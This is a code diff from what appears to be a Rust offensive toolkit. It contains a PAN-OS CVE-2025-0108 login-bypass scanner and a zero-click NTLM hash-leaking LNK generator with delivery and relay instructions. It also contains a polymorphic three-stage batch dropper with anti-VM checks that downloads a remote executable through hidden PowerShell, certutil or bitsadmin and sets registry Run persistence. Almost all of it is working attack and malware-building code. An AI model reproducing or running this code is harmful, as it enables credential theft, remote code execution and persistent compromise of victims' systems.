format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", host, port)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
|
||||
if let Err(e) = open_browser(&full_url) {
|
||||
println!("{}", format!("[!] Warning: Could not open browser: {}", e).yellow());
|
||||
}
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Not vulnerable: {}:{} - Response code: {}", host, port, status.as_u16())
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Error connecting to {}:{} - {}", host, port, e).red()
|
||||
);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Error connecting to {}:{}", url, port).red()
|
||||
format!("[-] Failed to build URL for {}:{} - {}", host, port, e).red()
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -132,12 +245,6 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("{}", "Enter target port (default 443): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(443);
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -152,13 +259,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
|
||||
let mut vulnerable_count = 0;
|
||||
for url in urls {
|
||||
if check(&url, port, &client).await? {
|
||||
let (host, port) = parse_target(&url)?;
|
||||
if check(&host, port, &client).await? {
|
||||
vulnerable_count += 1;
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
|
||||
} else {
|
||||
let _ = check(target, port, &client).await?;
|
||||
let (host, default_port) = parse_target(target)?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
|
||||
let _ = check(&host, port, &client).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,19 +1,26 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use crate::utils::{validate_file_path, validate_url};
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
io::{self, Write},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
@@ -130,12 +137,21 @@ exit
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed());
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ").await?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ").await?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ").await?;
|
||||
|
||||
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
|
||||
// Validate inputs
|
||||
let validated_stage1 = validate_file_path(&stage1_name, true)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid BAT filename: {}", e))?;
|
||||
let validated_url = validate_url(&github_url, Some(&["http", "https"]))
|
||||
.map_err(|e| anyhow::anyhow!("Invalid GitHub URL: {}", e))?;
|
||||
let validated_ps1 = validate_file_path(&ps1_output, false)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid .ps1 filename: {}", e))?;
|
||||
|
||||
write_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::Path,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
|
||||
///
|
||||
/// Creates malicious LNK files that trigger SMB NTLM hash disclosure without user interaction.
|
||||
/// This bypasses the original CVE-2025-50154 patch by using local icons with remote targets.
|
||||
///
|
||||
/// References:
|
||||
/// - https://www.cymulate.com/research-blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
|
||||
/// - https://www.cymulate.com/research-blog/patched-twice-still-bypassed-new-ntlm-leak-cve-2025-50154-patch-bypass/
|
||||
|
||||
const BANNER: &str = r#"
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ ██╗ ███╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗ ███████╗███╗ ██╗
|
||||
║ ██║ ████╗ ██║██║ ██╔╝██╔════╝ ██╔════╝████╗ ██║ ██╔════╝ ██╔════╝████╗ ██║
|
||||
║ ██║ ██╔██╗ ██║█████╔╝ ███████╗ █████╗ ██╔██╗ ██║ ███████╗ █████╗ ██╔██╗ ██║
|
||||
║ ██║ ██║╚██╗██║██╔═██╗ ╚════██║ ██╔══╝ ██║╚██╗██║ ╚════██║ ██╔══╝ ██║╚██╗██║
|
||||
║ ███████╗██║ ╚████║██║ ██╗ ███████║ ███████╗██║ ╚████║ ██ ███████║ ███████╗██║ ╚████║
|
||||
║ ╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚══════╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝ ╚══════╝╚═╝ ╚═══╝
|
||||
║ ║
|
||||
╚══════════════════════CVE-2025-50154 CVE-2025-59214════════════════════════════╝
|
||||
"#;
|
||||
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
/// Create a malicious LNK file that triggers NTLM hash disclosure
|
||||
/// Uses local icon (shell32.dll) but remote target to bypass CVE-2025-50154 patch
|
||||
///
|
||||
/// This implementation creates a proper LNK file structure that Windows Explorer
|
||||
/// will recognize and attempt to render the icon from the remote SMB path.
|
||||
fn create_malicious_lnk(output_path: &Path, smb_ip: &str, smb_share: &str, smb_file: &str) -> Result<()> {
|
||||
// Build the target path: \\IP\SHARE\FILE
|
||||
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
|
||||
let target_file = format!("{}\\{}", target_path, smb_file);
|
||||
|
||||
// Use local shell32.dll icon (this is the key to bypass the patch)
|
||||
let icon_location = "%SystemRoot%\\System32\\SHELL32.dll";
|
||||
|
||||
// For cross-platform compatibility, we'll try to use the Windows API if available
|
||||
// Otherwise, create a minimal LNK structure that should work
|
||||
|
||||
// We use manual LNK creation ensures we generate the exact structure needed
|
||||
// for this exploit (local icon + remote target) regardless of the host OS.
|
||||
// Using Windows APIs (IShellLink) might attempt to resolve the target path,
|
||||
// which we specifically want to avoid until the victim clicks it.
|
||||
create_lnk_manual(output_path, &target_file, &icon_location)
|
||||
}
|
||||
|
||||
/// Manual LNK file creation with proper structure
|
||||
fn create_lnk_manual(output_path: &Path, target_path: &str, icon_location: &str) -> Result<()> {
|
||||
let mut lnk_data = Vec::new();
|
||||
|
||||
// LNK Header (76 bytes)
|
||||
// HeaderSize: 0x0000004C (76 bytes)
|
||||
lnk_data.extend_from_slice(&0x4C_u32.to_le_bytes());
|
||||
|
||||
// LinkCLSID: 00021401-0000-0000-C000-000000000046
|
||||
lnk_data.extend_from_slice(&[
|
||||
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46
|
||||
]);
|
||||
|
||||
// LinkFlags: HasTargetIDList | HasLinkInfo | HasName | HasRelativePath |
|
||||
// HasWorkingDir | HasIconLocation | IsUnicode | HasExpString |
|
||||
// RunInSeparateProcess | HasIconLocation
|
||||
let link_flags = 0x0000009B_u32; // Basic flags for our use case
|
||||
lnk_data.extend_from_slice(&link_flags.to_le_bytes());
|
||||
|
||||
// FileAttributes: FILE_ATTRIBUTE_NORMAL
|
||||
lnk_data.extend_from_slice(&0x00000020_u32.to_le_bytes());
|
||||
|
||||
// CreationTime, AccessTime, WriteTime (24 bytes of zeros)
|
||||
lnk_data.extend_from_slice(&[0u8; 24]);
|
||||
|
||||
// FileSize (4 bytes) - 0 for network paths
|
||||
lnk_data.extend_from_slice(&0u32.to_le_bytes());
|
||||
|
||||
// IconIndex (4 bytes)
|
||||
lnk_data.extend_from_slice(&0u32.to_le_bytes());
|
||||
|
||||
// ShowCommand: SW_SHOWNORMAL
|
||||
lnk_data.extend_from_slice(&0x00000001_u32.to_le_bytes());
|
||||
|
||||
// HotKey (2 bytes)
|
||||
lnk_data.extend_from_slice(&[0u8; 2]);
|
||||
|
||||
// Reserved (10 bytes)
|
||||
lnk_data.extend_from_slice(&[0u8; 10]);
|
||||
|
||||
// Add minimal LinkTargetIDList (empty for simplicity)
|
||||
// IDListSize: 0x0002 (empty list)
|
||||
lnk_data.extend_from_slice(&0x02_u16.to_le_bytes());
|
||||
|
||||
// Add StringData section
|
||||
// TARGET_PATH
|
||||
let target_path_utf16: Vec<u16> = target_path.encode_utf16().collect();
|
||||
lnk_data.extend_from_slice(&((target_path_utf16.len() * 2) as u16).to_le_bytes());
|
||||
for &c in &target_path_utf16 {
|
||||
lnk_data.extend_from_slice(&c.to_le_bytes());
|
||||
}
|
||||
|
||||
// ICON_LOCATION
|
||||
let icon_utf16: Vec<u16> = icon_location.encode_utf16().collect();
|
||||
lnk_data.extend_from_slice(&((icon_utf16.len() * 2) as u16).to_le_bytes());
|
||||
for &c in &icon_utf16 {
|
||||
lnk_data.extend_from_slice(&c.to_le_bytes());
|
||||
}
|
||||
|
||||
// Write the LNK file
|
||||
let mut file = File::create(output_path)
|
||||
.with_context(|| format!("Failed to create LNK file at {}", output_path.display()))?;
|
||||
|
||||
file.write_all(&lnk_data)
|
||||
.with_context(|| format!("Failed to write LNK data to {}", output_path.display()))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
println!("{}", BANNER.red().bold());
|
||||
|
||||
println!("{}", "\n🩸 Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure".red().bold());
|
||||
println!("{}", "CVE-2025-50154 / CVE-2025-59214 Patch Bypass".yellow());
|
||||
println!();
|
||||
println!("{}", "This module creates malicious LNK shortcut files that trigger NTLMv2-SSP hash disclosure.".dimmed());
|
||||
println!("{}", "The vulnerability bypasses the original CVE-2025-50154 patch by using local default icons".dimmed());
|
||||
println!("{}", "while pointing to remote SMB-hosted PE files, forcing Explorer to fetch icons.".dimmed());
|
||||
println!();
|
||||
println!("{}", "📋 Technical Details:".cyan().bold());
|
||||
println!(" • Uses SHELL32.dll as local icon source");
|
||||
println!(" • Target points to \\\\IP\\SHARE\\FILE");
|
||||
println!(" • Explorer fetches PE icon resources remotely");
|
||||
println!(" • Zero-click: triggers on file browse/preview");
|
||||
println!();
|
||||
|
||||
// Get parameters
|
||||
let output_path = prompt("[+] Local path to save LNK file (e.g., C:\\Users\\User\\Desktop): ").await?;
|
||||
let smb_ip = prompt("[+] SMB server IP address or hostname: ").await?;
|
||||
let smb_share = prompt("[+] SMB share name: ").await?;
|
||||
let smb_file = prompt("[+] Remote binary filename (e.g., payload.exe): ").await?;
|
||||
|
||||
// Validate file paths to prevent traversal attacks
|
||||
let validated_output_path = validate_file_path(&output_path, true)
|
||||
.map_err(|e| anyhow!("Invalid output path: {}", e))?;
|
||||
|
||||
// Validate IP
|
||||
if smb_ip.trim().is_empty() {
|
||||
return Err(anyhow!("SMB IP address cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate share (basic check for path traversal)
|
||||
if smb_share.trim().is_empty() {
|
||||
return Err(anyhow!("SMB share name cannot be empty"));
|
||||
}
|
||||
if smb_share.contains("..") || smb_share.contains("//") {
|
||||
return Err(anyhow!("SMB share name contains invalid characters"));
|
||||
}
|
||||
|
||||
// Validate file (basic check for path traversal)
|
||||
if smb_file.trim().is_empty() {
|
||||
return Err(anyhow!("Remote filename cannot be empty"));
|
||||
}
|
||||
if smb_file.contains("..") || smb_file.contains("//") {
|
||||
return Err(anyhow!("Remote filename contains invalid characters"));
|
||||
}
|
||||
|
||||
// Create output path
|
||||
let output_dir = Path::new(&validated_output_path);
|
||||
if !output_dir.exists() {
|
||||
return Err(anyhow!("Output directory '{}' does not exist", validated_output_path));
|
||||
}
|
||||
|
||||
let lnk_filename = format!("{}.lnk", smb_file.trim_end_matches(".exe"));
|
||||
let lnk_path = output_dir.join(lnk_filename);
|
||||
|
||||
// Build target info
|
||||
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
|
||||
let full_target = format!("{}\\{}", target_path, smb_file);
|
||||
|
||||
println!();
|
||||
println!("{}", "📋 Configuration Summary:".cyan().bold());
|
||||
println!(" Output LNK: {}", lnk_path.display());
|
||||
println!(" Target Path: {}", full_target);
|
||||
println!(" Icon Source: C:\\Windows\\System32\\SHELL32.dll (local)");
|
||||
println!();
|
||||
|
||||
// Create the malicious LNK file
|
||||
println!("{}", "[*] Creating malicious LNK file...".yellow());
|
||||
create_malicious_lnk(&lnk_path, &smb_ip, &smb_share, &smb_file)?;
|
||||
|
||||
println!("{}", format!("✅ Malicious LNK file created: {}", lnk_path.display()).green().bold());
|
||||
println!();
|
||||
println!("{}", "🎯 Usage Instructions:".cyan().bold());
|
||||
println!(" 1. Start SMB server on attacker machine:");
|
||||
println!(" impacket-smbserver {} . -smb2support", smb_share);
|
||||
println!(" (Ensure {} exists in current directory)", smb_file);
|
||||
println!();
|
||||
println!(" 2. Start NTLM capture (Responder/Impacket):");
|
||||
println!(" responder -I eth0 -v");
|
||||
println!(" or: impacket-ntlmrelayx -t ldap://dc.domain.com --dump-laps");
|
||||
println!();
|
||||
println!(" 3. Deploy LNK file to victim:");
|
||||
println!(" • Email attachment");
|
||||
println!(" • Malicious download");
|
||||
println!(" • USB drive drop");
|
||||
println!(" • SMB share access");
|
||||
println!();
|
||||
println!(" 4. Victim interaction: NONE REQUIRED");
|
||||
println!(" • Hash captured when Explorer renders icon");
|
||||
println!(" • Triggers on folder browse or thumbnail view");
|
||||
println!();
|
||||
println!("{}", "🔍 Detection Notes:".yellow().bold());
|
||||
println!(" • Bypasses CVE-2025-50154 original patch");
|
||||
println!(" • Works with CVE-2025-59214 (patch bypass)");
|
||||
println!(" • Local icon + Remote target = Icon fetch");
|
||||
println!(" • PE file must have valid RT_ICON resources");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,2 +1,4 @@
|
||||
pub mod narutto_dropper;
|
||||
pub mod batgen;
|
||||
pub mod lnkgen;
|
||||
pub mod payload_encoder;
|
||||
|
||||
@@ -1,322 +1,410 @@
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
|
||||
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
|
||||
|
||||
use rand::prelude::*;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{rng, seq::SliceRandom, Rng};
|
||||
use std::io::{self, Write as IoWrite};
|
||||
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
|
||||
use std::collections::HashMap;
|
||||
use tokio::fs::File as TokioFile;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::io::{AsyncWriteExt, AsyncBufReadExt};
|
||||
|
||||
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
|
||||
pub fn print_welcome_naruto() {
|
||||
println!(r#"
|
||||
======================== WELCOME TO NARUTO ========================
|
||||
// ==============================================================================
|
||||
// Constants & Configuration
|
||||
// ==============================================================================
|
||||
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
|
||||
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
|
||||
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
|
||||
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
|
||||
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
|
||||
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
|
||||
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
|
||||
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
|
||||
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
|
||||
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
|
||||
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
|
||||
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
|
||||
------------------------------------------------------------------
|
||||
- Prompts for: Powershell payload download URL, output names
|
||||
- Generates a highly randomized batch dropper
|
||||
- All variable, file, registry names are randomized per build
|
||||
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
|
||||
- Final stage ensures persistence via HKCU registry
|
||||
- Decoy files and diagnostic noise included for stealth
|
||||
- 100% open source and ready for advanced red-team ops
|
||||
|
||||
==================================================================
|
||||
"#);
|
||||
}
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // - User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
|
||||
|
||||
/// // List of random banner phrases for added entropy
|
||||
const BANNERS: &[&str] = &[
|
||||
"診断ユーティリティを実行中...",
|
||||
"ネットワーク診断開始...",
|
||||
"管理者用システムテスト...",
|
||||
"環境チェック実行中...",
|
||||
"お待ちください。検証中...",
|
||||
"System Diagnostic Utility",
|
||||
"Network Integrity Verifier",
|
||||
"Administrative Maintenance Tool",
|
||||
"Security Compliance Scanner",
|
||||
"Update Pre-Flight Check",
|
||||
];
|
||||
|
||||
/// // Decoy files for download/cover noise
|
||||
const DECOY_FILES: &[&str] = &[
|
||||
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
|
||||
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
|
||||
"readme_v2.txt", "compliance_policy.pdf", "sys_log_2024.csv",
|
||||
"audit_results.html", "patch_notes.rtf", "error_log.xml",
|
||||
];
|
||||
|
||||
|
||||
|
||||
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
|
||||
fn rand_var_name(base: &str) -> String {
|
||||
let mut rng = rng();
|
||||
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
let mut name = base.to_string();
|
||||
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
|
||||
name.push('_');
|
||||
name.push_str(&rng.random_range(1000..9999).to_string());
|
||||
name
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub enum DownloadMethod {
|
||||
PowerShell,
|
||||
Certutil,
|
||||
Bitsadmin,
|
||||
}
|
||||
|
||||
/// // Shuffles and emits randomized diagnostic steps (adds noise)
|
||||
fn shuffled_diag_steps() -> Vec<String> {
|
||||
let steps = vec![
|
||||
"netsh winsock show catalog ^>nul",
|
||||
"fsutil behavior query DisableDeleteNotify ^>nul",
|
||||
"dcomcnfg /32 ^>nul",
|
||||
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
|
||||
"netstat -bno ^>nul",
|
||||
"route print ^>nul",
|
||||
"sc queryex type= service ^>nul",
|
||||
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
|
||||
"wmic cpu get loadpercentage ^>nul",
|
||||
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
|
||||
"reg query HKLM\\SOFTWARE ^>nul",
|
||||
];
|
||||
let mut steps_mut = steps.clone();
|
||||
let mut rng = rng();
|
||||
steps_mut.shuffle(&mut rng);
|
||||
steps_mut
|
||||
.into_iter()
|
||||
.enumerate()
|
||||
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// // Pick a random banner for the batch
|
||||
fn rand_banner() -> &'static str {
|
||||
let mut rng = rng();
|
||||
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
|
||||
}
|
||||
|
||||
/// // Shuffle decoy filenames for the decoy download section
|
||||
fn shuffled_decoys() -> Vec<String> {
|
||||
let mut rng = rng();
|
||||
let mut files = DECOY_FILES.to_vec();
|
||||
files.shuffle(&mut rng);
|
||||
files.into_iter().map(|f| f.to_string()).collect()
|
||||
}
|
||||
|
||||
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
|
||||
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
|
||||
format!(r#"
|
||||
REM Anti-VM/Sandbox (basic)
|
||||
set "{uptime}=0"
|
||||
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
|
||||
set "{uptime}=%{uptime}:~0,8%"
|
||||
REM Pause if booted < 3 min ago
|
||||
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
|
||||
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
|
||||
set /a "{boot_time}=!{now}! - !{uptime}!"
|
||||
if !{boot_time}! lss 3000000 (
|
||||
echo [*] Recent boot detected. Pausing.
|
||||
call :SleepS 60
|
||||
)
|
||||
REM RAM check (<=2048 MB is suspicious)
|
||||
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
|
||||
set /a "{ram_mb}=(!{ram}!)/1048576"
|
||||
if !{ram_mb}! lss 2048 (
|
||||
echo [*] Low RAM detected. Pausing.
|
||||
call :SleepS 120
|
||||
)
|
||||
REM Check VM drivers
|
||||
set "{vmfound}=0"
|
||||
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
|
||||
driverquery | findstr /I %%X >nul
|
||||
if not errorlevel 1 set "{vmfound}=1"
|
||||
)
|
||||
"#,
|
||||
uptime=rand_vars[0],
|
||||
boot=rand_vars[1],
|
||||
now=rand_vars[2],
|
||||
boot_time=rand_vars[3],
|
||||
ram=rand_vars[4],
|
||||
ram_mb=rand_vars[5],
|
||||
vmfound=rand_vars[6],
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 3 (PERSIST) ==
|
||||
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
|
||||
format!(r#"
|
||||
@echo off
|
||||
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Run payload saved as .ps1 (actually an EXE)
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
|
||||
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
ps1_name=ps1_name,
|
||||
reg=rand_vars[0],
|
||||
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 2 ==
|
||||
fn build_stage2(
|
||||
url_exe: &str,
|
||||
ps1_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
) -> String {
|
||||
let stage3_content = build_stage3(ps1_name, rand_vars);
|
||||
let mut tpl = format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Download EXE payload and save as .ps1
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
|
||||
REM Write Stage 3
|
||||
set "{stage3}=%~dp0{stage3_name}"
|
||||
("#,
|
||||
url_exe = url_exe,
|
||||
ps1_name = ps1_name,
|
||||
stage3_name = stage3_name,
|
||||
stage3 = rand_vars[8],
|
||||
antivm = build_anti_vm_batch(&[
|
||||
&rand_vars[9], &rand_vars[10], &rand_vars[11],
|
||||
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
|
||||
]),
|
||||
);
|
||||
for line in stage3_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
impl DownloadMethod {
|
||||
fn from_str(s: &str) -> Option<Self> {
|
||||
match s.to_lowercase().as_str() {
|
||||
"ps" | "powershell" => Some(Self::PowerShell),
|
||||
"cert" | "certutil" => Some(Self::Certutil),
|
||||
"bits" | "bitsadmin" => Some(Self::Bitsadmin),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn options() -> &'static str {
|
||||
"PowerShell [default], Certutil, Bitsadmin"
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
